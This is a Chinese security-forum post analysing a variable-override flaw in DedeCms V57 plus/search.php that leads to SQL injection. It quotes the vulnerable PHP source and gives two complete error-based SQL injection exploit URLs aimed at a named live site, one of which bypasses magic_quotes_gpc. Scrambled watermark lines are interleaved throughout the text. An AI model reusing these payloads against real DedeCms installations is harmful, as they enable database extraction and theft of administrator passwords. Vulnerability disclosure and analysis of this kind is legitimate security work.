中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
9 L' ]' ^: s8 \& r0 l) E: A
作者:
c4rp3nt3r@0x50sec.org
2 o2 K- ?- C; {3 @0 K
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
) l& I" m* ^' j* i
) }! r% V& N& @2 k0 O9 W+ V1 C& r
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
! O B1 H! N. ], A3 N: X/ M
4 Q* Y( A) ?; e9 X4 h+ M( c
============
; D5 C' I4 O8 s& t( R( n) I
; K" Z6 [& g2 Q# }& x& D
@# I* Z; n8 _3 r$ z8 L C) @
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
% `; {1 ?% M" L! W
& w, g% o( S+ c5 |5 f
require_once(dirname(__FILE__).”/../include/common.inc.php”);
! S8 ?) r: F4 u! ]) Z
require_once(DEDEINC.”/arc.searchview.class.php”);
5 N2 Q! o- s! X# z
/ r& R! J$ L6 K
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
" s1 ?3 `3 w2 R; _- W Y: s# S7 u' {
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
( r3 }- x0 X' B) ?% N+ r
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
: g# f/ ^6 |$ e3 j$ z8 l) i
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$ Q8 F( Q5 b/ l+ p( _& B' c+ W
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
^$ Z6 S+ r. b1 }7 I
1 E Y; r, S! c6 B& T
if(!isset($orderby)) $orderby=”;
# L1 U+ n. i; S
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
+ x* o% P: T# L s* ]9 z
1 L& m- Z! t+ q$ t
2 [; z: o0 J. X+ d) g3 l
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
1 _9 R- ]2 J/ M* T! J
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
3 X! T. d4 C' j5 y& a& T
" W; E9 B* H4 ?# U8 s6 q W
if(!isset($keyword)){
0 w3 j; m& n! l; n
if(!isset($q)) $q = ”;
- [% S) y4 n6 R. ]+ w6 U8 t: Y- h
$keyword=$q;
* H( C( K4 x* l) P/ `
}
, ^* k. m7 c D7 M
5 R. s+ d) V' j7 ^0 M8 L4 r! `
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
% U8 i7 e6 g% R/ D- k* B8 f
& Z/ Z' B3 Z8 E; @
//查找栏目信息
) Q' N( C: J2 h8 w3 g) y0 y- V
if(empty($typeid))
, \1 K+ U0 F) a5 x+ R2 \1 G
{
0 e4 m% k* |6 a! {& I
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
+ h2 T/ D4 L" U# s N& `
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
$ a4 q& V8 A# ?! ~, `' e' Q* g( \* l
{
2 j9 C# ]% \$ z
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
: o9 u. v: N& x' L5 g0 U
fwrite($fp, “<”.”?php\r\n”);
% y2 z) t& S) {! V
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
% Q b" {, b8 S7 _* l
$dsql->Execute();
+ Z' V5 W, w8 Y/ ?% Q
while($row = $dsql->GetArray())
6 C/ l) C6 J) N& F O2 c
{
$ R% S6 C# G# w" H9 T
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
- j1 f5 X2 W) H2 _" ^7 ?
}
6 j2 n! S7 L8 s
fwrite($fp, ‘?’.'>’);
' ?' T) t8 @4 U/ c/ x& H" i
fclose($fp);
1 f; a; U, T$ J- A& ^2 ]
}
) W0 C! |& }/ `' i# y. t. ^! I
//引入栏目缓存并看关键字是否有相关栏目内容
5 z9 O. n9 T z- L" d; k
require_once($typenameCacheFile);
6 ?7 G9 G0 G ?! e
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
( |0 V" }1 D# ]+ Z5 R t: v
//
' w; R7 _0 x* y1 `" e
if(isset($typeArr) && is_array($typeArr))
. b( K" N* G$ i6 B$ m% G
{
, v) i) _% q% Y: d* i
foreach($typeArr as $id=>$typename)
3 I1 [# x' N* r5 @7 @4 `
{
6 q, Y7 O+ W. u7 w( {9 f
- @0 T+ F( [" q3 H" K; `2 O1 ^* M
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
4 Z$ R0 Y! W k% |9 h, K. {6 Q
if($keyword != $keywordn)
' } f A* ^ z9 q, _
{
, \0 o& n9 Q2 p/ T6 w3 U9 m V
$keyword = $keywordn;
/ @3 k: }, i) W' g: W0 A
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
2 v6 r0 e# G% ^. u
break;
" s" n' L, A% P2 {- X
}
. s5 j, c) R9 l& ^' E! H: {
}
+ x/ I, i( e6 X
}
- w7 c5 H8 Q2 M" ]
}
T+ K- i; L5 f T
然后plus/search.php文件下面定义了一个 Search类的对象 .
6 Y8 l# W2 T1 V5 m1 `
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
$ U7 H& ?6 o0 A; @1 x7 ~$ r$ l' _3 `
$this->TypeLink = new TypeLink($typeid);
7 {$ F+ Q0 ? W& r
) l( n' B& Y+ V1 R8 H; P' L4 Q
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
0 G+ n* a5 B, o- L9 }8 |
' M- z% `, h( |9 [4 y' S! C5 \
class TypeLink
5 w i# T {& d
{
. ^% K) \" _& t0 m3 o
var $typeDir;
, y! p7 A* ?! S! j, g/ Q: a! I# d
var $dsql;
& o; f( ?% v; s( A. }% H4 j1 [& f
var $TypeID;
. M. V& {1 p' R) F" t9 g
var $baseDir;
6 T: t2 ], T1 w" f8 f0 G3 x
var $modDir;
4 @; Z! c; r' s+ I' r
var $indexUrl;
" C) y( Y. I3 _% D+ a7 `& b' v
var $indexName;
! n% m# D( H5 ~0 R- m3 d6 _' Q- ~
var $TypeInfos;
9 o" y2 ^, j, o1 O
var $SplitSymbol;
' m# L, |: R/ k6 N, r
var $valuePosition;
- f- c2 @ |1 w0 d3 F# M" e
var $valuePositionName;
& T1 n# g* x7 Q1 D) Y
var $OptionArrayList;//构造函数///////
, Z, k' R1 N& ^8 N
//php5构造函数
" s" s" b* Q: ?
function __construct($typeid)
/ w6 \7 m' ~8 K, l/ a
{
% k9 a& C) ]9 g
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
/ i |' _9 L& f0 w
$this->indexName = $GLOBALS['cfg_indexname'];
; F1 b$ u+ A# T! ?" ~) ]* K9 \
$this->baseDir = $GLOBALS['cfg_basedir'];
, Z/ U' s9 `5 E' A0 F
$this->modDir = $GLOBALS['cfg_templets_dir'];
) G* m3 l5 C9 U! {, }8 x
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
; o. ~, N7 n9 D+ J( _0 P/ u+ j7 O* p
$this->dsql = $GLOBALS['dsql'];
+ R* |# j4 Q/ ?! b& }% H# R. r
$this->TypeID = $typeid;
! m$ h7 I9 _5 n+ {# A
$this->valuePosition = ”;
1 H6 s+ s4 A5 y+ @
$this->valuePositionName = ”;
+ _. f- O" l$ t% ~( b7 U) u# h5 v
$this->typeDir = ”;
. |- j. h" M# }) O+ b
$this->OptionArrayList = ”;
+ h6 n0 o: p5 B
5 }3 K1 P8 ?* ^3 z
//载入类目信息
$ F$ X' b2 K1 N6 H" {* `
2 k# [1 a$ L: r: W/ L
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
/ a- C1 d* T5 u9 ~2 _3 |& O
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
# M; z- [6 s& n8 Z9 f4 ^# k6 |, ?
`#@__channeltype` ch
1 y) H2 z* l7 \, W! ^
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
+ o+ u- H/ \5 [! @. s3 i
) V: b. g2 e, N5 q% M
if($typeid > 0)
& m+ F7 Y$ \* R5 U
{
" M* B" n! t' ?* F: k
$this->TypeInfos = $this->dsql->GetOne($query);
Y* |9 D$ G/ P1 t- }4 ]
利用代码一 需要 即使magic_quotes_gpc = Off
- M% y* y* [) q& Q8 l4 _
" k1 [) U0 \, s( k- s
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
9 {- ?0 n% v, P& h/ K1 v8 x* z5 k5 U
( K) b6 X8 h; c) e% P$ S
这只是其中一个利用代码… Search 类的构造函数再往下
3 [1 k" Q" O7 [0 x- q
! K' q, M. l3 Z1 M1 q6 L3 d5 m1 j; x
……省略
5 M, u0 K/ u+ J% S. O
$this->TypeID = $typeid;
! `' t; d! s" ~6 y% M( X; {/ n
……省略
& t# U. ` v( \
if($this->TypeID==”0″){
1 R+ z8 A, |! _3 b
$this->ChannelTypeid=1;
\3 W% ]" }* Z9 {, f. m7 r$ v9 O
}else{
# U, T9 ?$ L0 t
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
& g0 K `% E9 ]
//现在不鸡肋了吧亲…
0 ]) G" r3 C* z' R/ y) N) w5 o
$this->ChannelTypeid=$row['channeltype'];
+ W8 h& \5 v6 u6 o$ n4 f
& @8 F0 F1 [- k4 a- Z
}
0 N$ K: D& F) q6 ]
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
# r/ B, o" G, [8 w5 C
7 E9 I/ w+ N+ M7 Q6 ]- }3 \
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
, b- ?& x4 [1 w% `5 t3 H
1 T5 D' x* M8 [+ g% w& `
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
) i( B8 F; G% V7 I7 n' o5 w$ }: Q0 H& @
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2